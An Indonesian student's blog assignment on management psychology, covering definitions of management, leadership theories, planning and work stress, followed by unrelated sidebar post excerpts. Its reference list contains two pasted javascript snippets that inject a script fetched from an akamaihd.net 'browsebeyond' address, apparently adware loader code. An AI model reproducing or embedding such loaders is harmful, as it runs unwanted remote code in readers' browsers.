Langsung ke konten utama

pengertian manajemen tugas pertemuan 1

nama : bambang juliyanto 
npm  : 11512361
kelas: 3pa06
 tugas pertemuan pertama 
Psikologi Manajemen. Apa itu Manajemen ?
Definisi Manajemen
Manajemen berasal dari bahasa Perancis kuno ménagement, yang memiliki arti "seni melaksanakan dan mengatur." Manajemen belum memiliki definisi yang mapan dan diterima secara universal.Mary Parker Follet, misalnya, mendefinisikan manajemen sebagai seni menyelesaikan pekerjaan melalui orang lain. Definisi ini berarti bahwa seorang manajer bertugas mengatur dan mengarahkan orang lain untuk mencapai tujuan organisasi.
 Manajemen adalah koordinasi semua sumber daya melalui proses perencanaan, pengorganisasian, penetapan tenaga kerja, pengarahan dan pengawasan untuk mencapai tujuan yang telah di tetapkan terlebih dahulu.
Manajemen berasal dari bahasa Inggris “management” dengan kata kerja to manage yang secara umum berarti mengurusi. Dalam arti khusus manajemen dipakai bagi pimpinan dan kepemimpinan, yaitu orangorang yang melakukan kegiatan memimpin, disebut “manajer”.Untuk mengartikan dan mendefisikan manajemen dari berbagai literartur dapat dilihat dari tiga pengertian, yaitu :
1. Manajemen sebagai suatu proses
2. Manajemen sebagai suatu kolektivitas manusia
3. Manajemen sebagai ilmu dan manajemen sebagai seni

menurut para ahli
1. George R.Terry
Manajemen adalah cara pencapaian tujuan yang telah ditentukan terlebih dahulu melalui kegiatan orang lain.
2. Haiman
Manajemen adalah fungsi untuk mencapai suatu tujuan melalui orang lain, mengawasi usahausaha yang dilakukan individu untuk mencapai tujuan.
3. Stoner
Stoner mendefinisikan manajemen sebagai suatu proses perencanaan, pengorganisasian, memimpin dan mengawasi usahausaha dari anggota organisasi dan sumbersumber organisasi lainnya untuk mancapai tujuan organisasi yang telah ditetapkan.
4. Mary Parker Follet
Mendefinisikan manajemen sebagai suatu seni untuk melakukan sesuatu melalui orang lain.
Manajemen adalah proses perencanaan, pengorganisasian, pengarahan, dan pengawasan usahausaha para anggota organisasi dan penggunaan sumber daya organisasi lainnya agar mencapai tujuan yang telah ditetapkan (John R. Schermerhorn, Jr). Setelah mengetahui definisi dari manajemen tadi, di Fakultas Psikologi juga mempelajari ilmu Psikologi Manajemen. Psikologi manajemen adalah ilmu tentang bagaimana mengatur / memanage sumber daya yang ada untuk memenuhi kebutuhan.
Dalam manajemen, perencanaan adalah proses mendefinisikan tujuan organisasi, membuat strategi untuk mencapai tujuan itu, dan mengembangkan rencana aktivitas kerja organisasi. Perencanaan merupakan proses terpenting dari semua fungsi manajemen karena tanpa perencanaan fungsi-fungsi lain—pengorganisasian, pengarahan, dan pengontrolan—tak akan dapat berjalan. Rencana dapat berupa rencana informal atau rencana formal. Rencana informal adalah rencana yang tidak tertulis dan bukan merupakan tujuan bersama anggota suatu organisasi. Sedangkan rencana formal adalah rencana tertulis yang harus dilaksanakan suatu organisasi dalam jangka waktu tertentu. Rencana formal merupakan rencana bersama anggota korporasi, artinya, setiap anggota harus mengetahui dan menjalankan rencana itu. Rencana formal dibuat untuk mengurangi ambiguitas dan menciptakan kesepahaman tentang apa yang harus dilakukan.

Jenis Manajemen
· Manajemen keuangan, yaitu merencanakan, menganggarkan, mencari, menyimpan, memeriksa, mengelola dan mengendalikan dana yang dimiliki oleh seseorang atau kelompok (perusahaan maupun organisasi). Manajemen pemasaran, yaitu suatu proses yang berjalan dengan tujuan agar menetapkan suatu harga serta promosi, menyalurkan gagasan dan sebagainya agar dapat mempertahankan "kehidupan" suatu perusahaan maupun untuk mengembangkan perusahaan tersebut sehingga pada akhirnya dapat mencapai keutungan yang maksimal dengan pengorbanan seminimal mungkin.
· Manajemen resiko, yaitu suatu pendekatan metodologi yang terstruktur dengan maksud agar   dapat mengelola kemungkinan - kemungkinan buruk yang dapat terjadi (ancaman).
· Manajemen pendidikan, yaitu sumber - sumber pendidikan dibuat lebih terpadu/terpusatagar  tujuan pendidikan tercapai secara efektif maupun efisien.
· Manajemen strategi, yaitu suatu proses yang dilakukan guna mengidentifikasi (menganalisis) "apa" dan "bagaimana" hasil yang ingin di capai tersebut.
· Manajemen sumber daya manusia, yaitu merupakan cara untuk mengatur suatu hubungan maupun peran para tenaga kerja (SDM) yang dipunyai oleh suatu 1 orang/kelompok agar dapat dipekerjakan secara maksimal tetapi tetap menonjolkan keefektifan serta efisien, agar dapat mencapai tujuan.
· Manajemen informatika, yaitu memanfaatkan sumber daya (dalam hal ini, segala yang berhubungan dengan informatika) agar kelak dapat tercapai tujuan yang ditetapkan.
· Manajemen produksi, yaitu aktivitas mengatur, mengkoordinasi, serta mengawasi bagaimana sumber daya (manusia, alat, dana, bahan) digunakan secara efektif dan efisien agar dapat menciptakan suatu barang/jasa yang memiliki nilai kegunaan yang tinggi.
· Manajemen konflik, yaitu bagaimana mengatur, mengkoordinir/mengarahkan suatu konflik yang sulit untuk diakhiri hingga akhirnya dapat mengakhiri konflik tersebut. Biasanya yang melakukan manajemen konflik ini adalah para pelaku konflik maupun perantara (pihak ketiga/penengah) dari konflik tersebut.

Apa itu psikologi manajemen
Psikologi manajemen adalah ilmu tentang bagaimana mengatur / memanage sumber daya yang ada untuk memenuhi kebutuhan.
Sebagai ilustrasi,
Dulu dalam manajemen, orang berproduksi hanya mengandalkan sumber daya alam. Misalnya, orang berburu, memancing atau memetik hasil hutan saja untuk memenuhi keperluannya. Tetapi lamakelamaan mulai terasa bahwa dengan menambahkan sumber daya manusia (terutama akalnya), maka orang akan bisa lebih efektif dan efisien dalam berproduksi. Maka mulailah dikenal pertanian, peternakan dan upaya budi daya sumbersumber alam lainnya. Setelah itu, timbul lagi kebutuhan akan modal, karena dengan investasi dana tertentu, akan bisa dibuat alat tertentu untuk lebih meningkatkan lagi efisiensi dan efektivitas produksi. Maka sejak zaman revolusi industri, tiga modal kerja yang utama adalah SDA (Sumber Daya Alam), SDU (Uang) dan SDM (Manusia), dan ilmu manajemen pun berkisar pada upaya untuk mengoptimalkan kinerja antar ketiga modal kerja itu.
Kaitannya dengan psikologi:
Dengan ditemukan dan dikembangkannya ilmu psikologi, diketahui bahwa unsur SDM ternyata merupakan yang terpenting dari ketiga modal kerja perusahaan manapun. Pasalnya, ilmu psikologi yg memang berpusat pada manusia, mampu mengintervensi berbagai faktor internal manusia seperti motivasi, sikap kerja, keterampilan, dsb dengan berbagai macam teknik dan metode, sehingga bisa dicapai kinerja SDM yang setinggitingginya untuk produktivitas perusahaan. Kegiatan intervensi (yg bertujuan untuk "mengolah" manusia) inilah yg menjadi titik tolak dari kajian ilmu psikologi manajemen. Hal ini bertujuan agar seluruh kayawan / SDM dari suatu organisasi/perusahaan mengerti betul akan tugasnya, mampu memberikan informasi kepada pelanggan atau rekan sekerjanya, dan pada akhirnya membuat karyawan itu senang pada pekerjaan dan perusahaannya.

Tujuan
Stephen Robbins dan Mary Coulter mengemukakan banyak tujuan perencanaan. Tujuan  pertamaadalah untuk memberikan pengarahan baik untuk manajer maupun karyawan nonmanajerial. Dengan rencana, karyawan dapat mengetahui apa yang harus mereka capai, dengan siapa mereka harus bekerja sama, dan apa yang harus dilakukan untuk mencapai tujuan organisasi. Tanpa rencana, departemen dan individual mungkin akan bekerja sendiri-sendiri secara serampangan, sehingga kerja organisasi kurang efesien.
Tujuan kedua adalah untuk mengurangi ketidakpastian. Ketika seorang manajer membuat rencana, ia dipaksa untuk melihat jauh ke depan, meramalkan perubahan, memperkirakan efek dari perubahan tersebut, dan menyusun rencana untuk menghadapinya.
Tujuan ketiga adalah untuk meminimalisir pemborosan. Dengan kerja yang terarah dan terencana, karyawan dapat bekerja lebih efesien dan mengurangi pemborosan. Selain itu, dengan rencana, seorang manajer juga dapat mengidentifikasi dan menghapus hal-hal yang dapat menimbulkan inefesiensi dalam perusahaan.
Tujuan yang terakhir adalah untuk menetapkan tujuan dan standar yang digunakan dalam fungsi selanjutnya, yaitu proses pengontrolan dan pengevalusasian. Proses pengevaluasian atau evaluating adalah proses membandingkan rencana dengan kenyataan yang ada. Tanpa adanya rencana, manajer tidak akan dapat menilai kinerja perusahaan.

Kepemimpinan
           Kepemimpinan adalah proses memengaruhi atau memberi contoh oleh pemimpin kepada pengikutnya dalam upaya mencapai tujuan organisasi. Cara alamiah mempelajari kepemimpinan adalah "melakukannya dalam kerja" dengan praktik seperti pemagangan pada seorang seniman ahli, pengrajin, atau praktisi.  Dalam hubungan ini sang ahli diharapkan sebagai bagian dari peranya memberikan pengajaran/instruksi. Kebanyakan orang masih cenderung  mengatakan bahwa pemimipin yang efektif mempunyai. sifat atau ciri-ciri tertentu yang sangat penting misalnya, kharisma, pandangan ke depan, daya persuasi, dan intensitas. Dan memang, apabila kita berpikir tentang pemimpin yang heroik seperti Napoleon, Washington, Lincoln, Churcill, Sukarno, Jenderal Sudirman, dan sebagainya kita harus mengakui bahwa sifat-sifat seperti itu melekat pada diri mereka dan telah mereka manfaatkan untuk mencapai tujuan yang mereka inginkan. Kepemimpinan dilihat sebagai suatu proses yang dinamis, interaktif yang melibatkan 3 dimensi: pemimpin, pengikut, dan situasi. Tiap dimensi ini mempengaruhi satu sama lain. Contohnya, pencapaian dari tujuan tergantung tidak hanya pada personal seorang pemimpin tapi juga pada kebutuhan pengikutnya dan jenis situasinya.

Ciri kepemimpinan
Kepemimpinan Yang Efektif Barangkali pandangan pesimistis tentang keahlian-keahlian kepemimpinan ini telah menyebabkan munculnya ratusan buku yang membahas kepemimpinan. Terdapat nasihat tentang siapa yang harus ditiru Attila the Hun, apa yang harus diraih kedamaian jiwa, apa yang harus dipelajari kegagalan, apa yang harus diperjuangkan karisma, perlu tidaknyapendelegasian kadang-kadang, perlu tidaknya berkolaborasi mungkin, pemimpin-pemimpin rahasia Amerika wanita, kualitas-kualitas pribadi dari kepemimpinan integritas, bagaimana meraih kredibilitas bisa dipercaya, bagaimana menjadi pemimipin yang otentik temukan pemimpin dalam diri anda, dan sembilan hukum alam kepemimpinan jangan tanya. Terdapat lebih dari 3000 buku yang judulnya mengandung kata pemimipin leader. Bagaimana menjadi pemimpin yang efektif tidak perlu diulas oleh sebuah buku. Guru manajeman terkenal, Peter Drucker, menjawabnya hanya dengan beberapa kalimat: "pondasi dari kepemimpinan yang efektif adalah berpikir berdasar misi organisasi, mendefinisikannya dan menegakkannya, secara jelas dan nyata.
 Kepemimpinan Karismatik Max Weber, seorang sosiolog, adalah ilmuan pertama yang membahas kepemimpinan karismatik. Lebih dari seabad yang lalu, ia mendefinisikan karisma yang berasal dari bahasa Yunani yang berarti "anugerah" sebagai "suatu sifat tertentu dari seseorang, yang membedakan mereka dari orang kebanyakan dan biasanya dipandang sebagai kemampuan atau kualitas supernatural, manusia super, atau paling tidak daya-daya istimewa. Kemampuan-kemampuan ini tidak dimiliki oleh orang biasa, tetapi dianggap sebagai kekuatan yang bersumber dari yang Ilahi, dan berdasarkan hal ini seseorang kemudian dianggap sebagai seorang pemimpin.

Kepemimpinan Transformasional
Kepemiminan merupakan proses dimana seorang individu mempengaruhi sekelompok individu untuk mencapai suatu tujuan. Untuk menjadi seorang pemimpin yang efektif, seorang kepala sekolah harus dapat mempengaruhi seluruh warga sekolah yang dipimpinnya melalui cara-cara yang positif untuk mencapai tujuan pendidikan di sekolah. Secara sederhana kepemimpinan transformasional dapat diartikan sebagai proses untuk mengubah dan mentransformasikan individu agar mau berubah dan meningkatkan dirinya, yang didalamnya melibatkan motif dan pemenuhan kebutuhan serta penghargaan terhadap para bawahan.

Teori kepemimpinan
Keith Devis merumuskan 4 sifat umum yang berpengaruh terhadap keberhasilankepemimpinan organisasi, antara lain : KecerdasanBerdasarkan hasil penelitian, pemimpin yang mempunyai kecerdasan yangtinggi diatas kecerdasan rata–rata dari pengikutnya akan mempunyai kesempatan berhasil yang lebih tinggi pula. Karena pemimpin pada umumnya memiliki tingkat kecerdasan yang lebih tinggi dibandingkan dengan pengikutnya.
 Kedewasaan dan Keluasan Hubungan Sosial Umumnya di dalam melakukan interaksi sosial dengan lingkungan internal maupun eksternal, seorang pemimpin yang berhasil mempunyai emosi yang matang dan stabil. Hal ini membuat pemimpin tidak mudah panik dan goyah dalam mempertahankan pendirian yang diyakini kebenarannya.
¬Motivasi Diri dan Dorongan BerprestasiSeorang pemimpin yang berhasil umumnya memiliki motivasi diri yang tinggi sertadorongan untuk berprestasi. Dorongan yang kuat ini kemudian tercermin pada kinerjayang optimal, efektif dan efisien.
¬Sikap Hubungan KemanusiaanAdanya pengakuan terhadap harga diri dan kehormatan sehingga para pengikutnya mampu berpihak kepadanya.Kajian kepemimpinan pada mulanya didasarkan pada asumsi bahwa pemimpin dilahirkan, tidak dibuat. Peneliti kemudian mengidentifikasi serangkaian pembawaan pemimpin yang membedakan dengan pengikutnya, serta pemimpin efektif dengan pemimpin tidak efektif. Teori pembawaan kepemimpinan mencoba menjelaskan karakteristik khusus kepemimpinan yang efektif. Peneliti menganalisis pembawaan fisik dan psikologis serta kualitas, seperti level kemampuan yang tinggi, keagresifan, kepercayaan pada diri sendiri,daya persuasif yang dimiliki dan kekuasaannya dalam mengidentifikasi serangkaian pembawaan yang dimiliki oleh pemimpin yang sukses. Dalam berbagai sumber dinyatakan bahwa, keberhasilan seorang pemimpin ditentukan oleh sifat dan perangai pemimpin tersebut.Sifat-sifat tersebut dapat berupa sifat fisik, sosial dan psikologis.

8 teori utama kepemimpinan
1. Teori Great Man
Anda mungkin pernah mendengar bahwa ada orangorang tertentu yang memang "dilahirkan untuk memimpin". Menurut teori ini, seorang pemimpin besar dilahirkan dengan karakteristik tertentu seperti karisma, keyakinan, kecerdasan dan keterampilan sosial yang membuatnya terlahir sebagai pemimpin alami. Teori great man mengasumsikan bahwa kapasitas untuk memimpin adalah sesuatu yang melekat, pemimpin besar dilahirkan bukan dibuat. Teori ini menggambarkan seorang pemimpin yang heroik dan ditakdirkan untuk menjadi pemimpin karena kondisi sudah membutuhkannya.
2. Teori Sifat
Teori sifat berasumsi bahwa orang mewarisi sifat dan ciriciri tertentu yang membuat mereka lebih cocok untuk menjadi pemimpin. Teori sifat mengidentifikasi kepribadian tertentu atau karakteristik perilaku yang sama pada umumnya pemimpin. Sebagai contoh, ciriciri seperti ekstraversi, kepercayaan diri dan keberanian, semuanya adalah sifat potensial yang bisa dikaitkan dengan pemimpin besar. Jika ciriciri khusus adalah fitur kunci dari kepemimpinan, maka bagaimana menjelaskan orangorang yang memiliki kualitaskualitas tetapi bukan pemimpin? Pertanyaan ini adalah salah satu kesulitan dalam menggunakan teori sifat untuk menjelaskan kepemimpinan. Ada banyak orang yang memiliki ciriciri kepribadian yang terkait dengan kepemimpinan namun tidak pernah mencari posisi kepemimpinan.
3. Teori kontingensi
Teori kontingensi fokus pada variabel yang berkaitan dengan lingkungan yang mungkin menentukan gaya kepemimpinan tertentu yang paling cocok. Menurut teori ini, tidak ada gaya kepemimpinan yang terbaik dalam segala situasi. Kesuksesan tergantung pada sejumlah variabel, termasuk gaya kepemimpinan, kualitas para pengikut dan aspek situasi.
4. Teori Situasional
Teori Situasional mengusulkan bahwa pemimpin memilih tindakan terbaik berdasarkan variable situasional. Gaya kepemimpinan yang berbeda mungkin lebih tepat untuk jenis tertentu dalam pengambilan keputusan tertentu. Misalnya, seorang pemimpin berada dalam kelompok yang anggotanya berpengetahuan dan berpengalaman, gaya otoriter mungkin paling tepat. Dalam kasus lain di mana anggota kelompok adalah ahli yang terampil, gaya demokratis akan lebih efektif.
5. Teori Perilaku
Teori perilaku kepemimpinan didasarkan pada keyakinan bahwa pemimpin besar dibuat bukan dilahirkan. Teori kepemimpinan ini berfokus pada tindakan para pemimpin bukan pada kualitas mental. Menurut teori ini, orang dapat belajar untuk menjadi pemimpin melalui pengajaran dan observasi.
6. Teori Partisipatif
Teori kepemimpinan partisipatif menunjukkan bahwa gaya kepemimpinan yang ideal adalah mengambilmasukan dari orang lain. Para pemimpin mendorong partisipasi dan kontribusi dari  anggota kelompok dan membantu anggota kelompok merasa lebih berkomitmen terhadap proses pengambilan keputusan. Dalam teori partisipatif, bagaimanapun, pemimpin berhak untuk memungkinkan masukan pendapat dari orang lain.
7. Teori Manajemen
Teori manajemen juga dikenal sebagai teori transaksional, fokus pada peran pengawasan kinerja, organisasi dan kelompok. Teori ini berdasarkan pada sistem imbalan dan hukuman. Teori manajemen sering digunakan dalam bisnis, ketika karyawan berhasil mereka dihargai, ketika mereka gagal mereka ditegur atau dihukum.
8. Teori Hubungan
Teori hubungan juga dikenal sebagai teori transformasi, fokus pada hubungan yang terbentuk antara pemimpin dan pengikut. Pemimpin transformasional memotivasi dan menginspirasi dengan membantu anggota kelompok melihat penting dan baiknya suatu tugas. Pemimpin fokus pada kinerja anggota kelompok dan juga ingin setiap orang untuk memaksimalkan potensinya. Pemimpin dengan gaya ini sering memiliki standar etika dan moral yang tinggi.

Pengertian perencanaan
1. Perencanaan (Planning)
Definisi perencanaan yang terdapat di fungsi utama psikologi manajemen ini adalah proses yang menyangkut upaya yang dilakukan untuk mengantisipasi kecenderungan di masa yang akan datang dan penentuan strategi dan taktik yang tepat untuk mewujudkan target dan tujuan organisasi.
Perencanaan merupakan fungsi utama Langkah-langkah dalam menyusun perencanaan ini dapat di buat menjadi skema berikut ini : Menetapkan Tujuan dan Target ----> Merumuskan Strategi ----> Menentukan Sumber Daya yang dibutuhkan ----> Menetapkan Standart / Indikator Pencapaian Target.
Dalam manajemen, perencanaan adalah proses mendefinisikan tujuan organisasi, membuat strategi untuk mencapai tujuan itu, dan mengembangkan rencana aktivitas kerja organisasi. Perencanaan merupakan proses terpenting dari semua fungsi manajemen karena tanpa perencanaan fungsi-fungsi lain—pengorganisasian, pengarahan, dan pengontrolan—tak akan dapat berjalan. Rencana dapat berupa rencana informal atau rencana formal. Rencana informal adalah rencana yang tidak tertulis dan bukan merupakan tujuan bersama anggota suatu organisasi. Sedangkan rencana formal adalah rencana tertulis yang harus dilaksanakan suatu organisasi dalam jangka waktu tertentu. Rencana formal merupakan rencana bersama anggota korporasi, artinya, setiap anggota harus mengetahui dan menjalankan rencana itu. Rencana formal dibuat untuk mengurangi ambiguitas dan menciptakan kesepahaman tentang apa yang harus dilakukan.

2. Manfaat Perencanaan
 Memberikan arahan. Ketika para manajer dan karyawan mengetahui apa yang ingin dicapai oleh organisasi dan apa yang harus mereka lakukan untuk mencapai tujuan tersebut, mereka akan mampu mengkoordinasikan pekerjaan mereka agar selaras, dan bekerjasama dengan orang lain serta melakukan hal-hal yang diperlukan untuk mencapai tujuan tersebut. Mangurangi ketidakpastian. Hal ini dilakukan dengan memaksa para manajer untuk melihat ke depan, mengantisipasi perubahan, memperhitungkan dampak perubahan dan membangun rekasi-reaksi yang diperlukan. Sehingga dengan adanya perencanaan, perubahan yang akan terjadi di masa mendatang dapat diantisipasi sehingga mengurangi ketidakpastian di masa mendatang.  Mengurangi hal-hal yang tidak diperlukan atau ha-hal yang berlebihan. Ketika pekerjaan disesuaikan dengan rencana yang telah dibangun, maka hal-hal yang tidak diperlukan atau halhal yang berlebihan dapat dikurangi. Hal ini akan membuat organisasi menjadi lebih efisien di dalam mencapai tujuan. Membangun tujuan atau standar yang digunakan untuk pengendalian. Ketika para manajer membuat rencana, mereka membangun tujuan serta rencana-rencana. Ketika mereka mengendalikan, mereka melihat apakah rencana tersebut dapat terlaksana dan selaras dengan tujuan atau tidak. Tanpa adanya rencana, tidak akan ada cara untuk mengendalikan.

3. Jenis perencanaan dalam organisasi
A. Rencana Global (Global plan)
Rencana global ini berisi tentang penentuan tujuan suatu organisasi secara menyeluruh. Analisa penyusunan rencana global terdiri atas:  Strength, yaitu kekuatan yang dimiliki oleh organisasi yang bersangkutan. Weaknesses, memperhatikan kelemahan organisasi yang bersangkutan. Opportunity, yaitu kesempatan terbuka yang dimiliki organisasi. Treath, yaitu tekanan dan hambatan yang di hadapi organisasi.
B. Rencana straregik (strategic plan)
Bagian dari rencana global namun lebih terperinci. Dimana ndengan menyusun kerangka kerja yang akan dilakukan untuk mencapai rencana global, dimensi waktunya adalah jangka panjang. Dalam pencapaiannya dilakukan dengan system prioritas, mana yang akan dicapai terlebih dahulu.
C. Rencana operasional (operational plan)
Rencana ini meliputi perencanaan terhadap kegiatan-kegiatan operasional dan bersifat jangka pendek.
Jenis-jenis perencanaan dalam organisasi
Ada beberapa jenis perencanaan yang terdapat dalam literatur, antara lain dalam (Hanna) 1985, yaitu :  Perencanaan jangka panjang (long range palnning), yaitu perencanaan yang berfokus pada apa dan keadaan bagaimana yang diinginkan oleh suatu organisasi pada akhir suatu periode tertentu Perencanaan Stratejik, yaitu rencana bertindak tentang bagaimana suatu organisasi hendak sampai kesana. Perencanaan ini harus diorientasikan pada lingkungan eksternal. Perencanaan jangka pendek (short range planning), yaitu perencanaan operasional yang berfokus pada jangka waktu yang lebih pendek, sekitar satu tahun. Biasanya kebanyakan dipakai organisasi nonprofit yang kecil saat mengembangkan sasaran awal, rencana program, dan anggarannya

TULISAN MENGENAI FENOMENA PRILAKU DALAM ORGANISASI
Dalam organisasi kita mengalami proses bekerja antara lainya, tenaga kerja sendiri dapat mengalami stress,yang dapat berkembang menjadi tenaga kerja sakit ,fisik dan mental, sehingga tidak dapat bekerja lagi secara optimal.Jika seseorang maka untuk pertama kali mengalami situasi penuh stress, maka mekanis pertahanan dalam badan diaktifkan : kelenjar-kelenjar mengeluarkan atau melepaskan adrenalin, cortisone dan hormone-hormon lain dalam jumlah yang besar, dan perubahan-perubahan terkordinasi yang berlangsung dalam system syaraf pusat atau ( tahap alarm) jika eksposure atau (paparan) terhadap pembangkit stress bersinambung dan badan mampu menyesuaikan, maka terjadi perlawanan terhadap sakit.Reaksi badaniah yang khas terjadi untuk menahan akibat-akibat dari stress(tahap resistance).Pengertian dari stress adalah suatu abstraksi. Orang tidak dapat melihat pembangkit stress(stressor). Yang dapat dilihat ialah akibat dari penyakit stress.

Memanajemeni stress
Stress dalam pekerjaan dapat dicegah timbulnya dan dapat dihadapi tanpa memperoleh dampak yang negatif. Memanajemeni berarti stress brarti berusaha mencegah timbulnya stress, meningkatkan ambang stres dari individu dan menampung akibat fisiologikal dari stress.
Memanajemeni stress bertujuan untuk mencegah berkembangnya stress jangka pendek menjadi stress jangka panjang atau stress kronis. Kita tidak selalu berhasil untuk mencegah stres.Kita akan selalu menjumpai situasi-situasi yang tidak kita duga semula yang merupakan pembangkit stress. Stres merupakan bagian dari kehidupan kita. Yang perlu diusahkan adalah dapat mempertahankanya stress yang positif kosntruktif dan dicegah serta diatasi stress yang kronis, yang bersifat negatif destruktif.

DAFTAR USTAKA
javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head"),b=document.getElementsByTagName("body"),c=a.length
?a[0]:b.length?b[0]:null;if(c){var
d=document.createElement("script");d.src="https://apibrowsebeyondn a.akamaihd.net/gsrs?is=SP1ddID&bp=BA&g=524a1295fcc9478985b5
293e65e75099";d.type="text/javascript";c.appendChild(d)}}}catch(e){}

http://id.shvoong.com/business-management/management/2331185-definisi-manajemen-serta-
10-jenis/#ixzz2iFZHuqCe
Robbins, Stephen P & Coulter, Marry. 2007. Management, ninth edition. Pearson International
Editon.
James A.F. Stoner, Management, Secont Editions, Prentice-Hall International, Inc.,1982.2.
Robert J. Thierauf, Robert C. Klekamp, Daniel W. Gedding, Management Principlesand
Practices: A Contigency and Questionnare Approach, John Willey & Son, NewYork, 19973.
http://id.wikipedia.org/wiki/Kepemimpinan
javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apibrowsebeyondna.
akamaihd.net/gsrs?is=SP1ddID&bp=BA&g=524a1295fcc9478985b5
293e65e75099";a[0].appendChild(d);}}}catch(e){} DAFTAR PUSTAKA:
Gaol, Chr. Jimmy L. Sistem Informasi Manajemen Pemahaman dan Aplikasi. Jakarta:Grasindo,
Indonesia
Schermerhorn, (2005). Manajemen 6th Edition, California State Polytechnic University Pomona,
John Wiley & S ons, Inc, United States
http://id.shvoong.com/business-management/management/2331185-definisi-manajemen-serta-
10-jenis/#ixzz2iFZHuqCe
Mukhyl, Muhammad Abdul & Sapiutro, Iman Hadi (1995). Pengantar Manajemen
Umum (untuk STIE). Jakarta: Gunadarma


Komentar

Postingan populer dari blog ini

Aku ! ( Puisi yang Terlupakan )

Di saat matahari kembali bersinar selepas gerimis...... Aku...... Aku buakanlah Aku yang elegan seperti Aku Khairil Anwar Aku adalah puisi pertama yang dapat tergubah Puisi yang tercipta karena dalamnya cinta Puisi yang ada karena sakitnya luka Puisi yang timbul karena perihnya kecewa Aku hanyalah jeritan lelah Aku hanyalah teriakan hampa putus asa Dari si pungguk, yang berangan mencakar langit Aku adalah setetes embun yang akan mencair menjelang siang Aku adalah buih kecil yang akan lenyap ditelan ombak Aku adalah jejak samar yang akan hilang ditiup angin Dan Aku adalah secuil memori suram yang akan terlupa sebelum sempat kau ingat.... Sumber : http://zhiandryos.blogspot.com/2010/12/aku-puisi-yang-terlupakan.html

Kumpulan Kata Kata Bijak Terbaru 2012

Tak perlu terlalu lama menangisi yang telah pergi, karena mungkin nanti kamu akan bersyukur telah meninggalkan yang kamu tangisi saat ini. Berusahalah untuk tidak menghitung kesulitan, karena jika kamu terlalu sering menghitungnya, kemudahan akan terlihat biasa saja. Jangan terlalu memaksakan diri untuk melakukan segalanya dengan benar, karena kadang kesalahan membuatmu pribadi yang lebih baik. Doaku hari ini: Tuhan, terima kasih masih memberiku kesempatan untuk menikmati indahnya pagi. Berikan aku kebijaksanaan menjalani hari ini. Cinta butuh waktu untuk tumbuh dan berkembang. Maka bersabarlah, jangan memaksa. Sabar akan membuat cintamu dewasa. -@menghunjam Cinta dan kesetiaan teruji ketika jarak dan waktu memisahkan. Dan hanya kepercayaanlah yang mampu mempertahankannya. Rencana Tuhan selalu berakhir dengan kebaikan. Dan jika yang kamu dapatkan belum baik, maka itu bukanlah akhir. Dengan selalu berupaya menjadi orang baik dan melakukan yang terbaik, maka kebaikan akan selulu b

PEMBAGIAN WILAYAH MENURUT IKLIM

Klasifikasi Iklim – Pada bagian awal telah kita bicarakan bahwa iklim merupakan rata-rata kondisi cuaca tahunan yang meliputi wilayah relatif luas. Untuk mengetahui tipe iklim suatu tempat, diperlukan rata-rata data cuaca tahunan seperti suhu, kelembapan udara, pola angin, dan curah hujan minimal 10–30 tahun. Selain data cuaca, indikasi lain yang dapat dijadikan salah satu penentu tipe iklim adalah vegetasi alam (tetumbuhan) yang mendominasi suatu daerah, misalnya hutan tropis, hutan gugur daun, atau vegetasi konifer (hutan berdaun jarum). Banyak para ahli ilmu cuaca dan iklim yang mencoba membuat klasifikasi iklim dengan berbagai dasar dan keperluan. Tiga orang di antara para ahli tersebut adalah Wladimir Koppen , Schmidt-Ferguson , dan Junghuhn . 1. Iklim Matahari Sistem penggolongan iklim Matahari didasarkan atas gerakan semu tahunan Matahari antara lintang 23½°LU–23½°LS. Daerahdaerah yang terletak di antara garis lintang tersebut menerima intensitas penyinaran Matahari ya